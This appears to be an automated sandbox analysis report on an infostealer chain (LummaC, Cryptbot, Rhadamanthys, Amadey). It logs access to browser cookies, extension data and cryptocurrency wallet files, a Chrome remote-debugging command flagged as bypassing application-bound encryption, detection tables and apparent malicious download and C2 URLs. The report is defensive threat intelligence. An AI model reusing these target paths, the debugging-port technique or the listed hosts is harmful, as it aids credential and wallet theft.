Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Directory queried: C:\Users\user\Documents

Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 0000001E.00000002.3042824832.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3042824832.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2596772182.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2596234102.0000000001447000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 751afd6d8b.exe PID: 8132, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 751afd6d8b.exe PID: 8132, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000F.00000002.2729033483.0000000003440000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2698713474.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2704239901.0000000005230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2703740052.00000000031D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0012EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_0012EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0012DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_0012DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	3 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	112 Process Injection	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	11 Scheduled Task/Job	11 Scheduled Task/Job	5 Obfuscated Files or Information	Security Account Manager	22 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	Login Hook	23 Software Packing	NTDS	355 System Information Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1171 Security Software Discovery	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	100%	Avira	HEUR/AGEN.1314134
C:\Users\user\AppData\Local\Temp\1017615001\3b4e53035a.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	100%	Joe Sandbox ML
C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017615001\3b4e53035a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	47%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	11%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	47%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	11%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	71%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	71%	ReversingLabs	Win64.Trojan.Nekark
C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	61%	ReversingLabs	Win32.Trojan.LummaStealer

Source	Detection	Scanner	Label
https://cheapptaxysu.click/m	0%	Avira URL Cloud	safe
http://31.41.244.11/files/wicked/random.exeded	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe7	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique3/random.exeZY	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe9n	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe0	0%	Avira URL Cloud	safe
https://cheapptaxysu.click/#u	0%	Avira URL Cloud	safe
https://cheapptaxysu.click/mm	0%	Avira URL Cloud	safe
https://grannyejh.lat/#	100%	Avira URL Cloud	malware
https://api.libertyreserve.com/beta/xml/balance.aspx	0%	Avira URL Cloud	safe
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ17	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique1/random.exees/unique1/random.exe	0%	Avira URL Cloud	safe
https://aspecteirs.lat/api	100%	Avira URL Cloud	malware
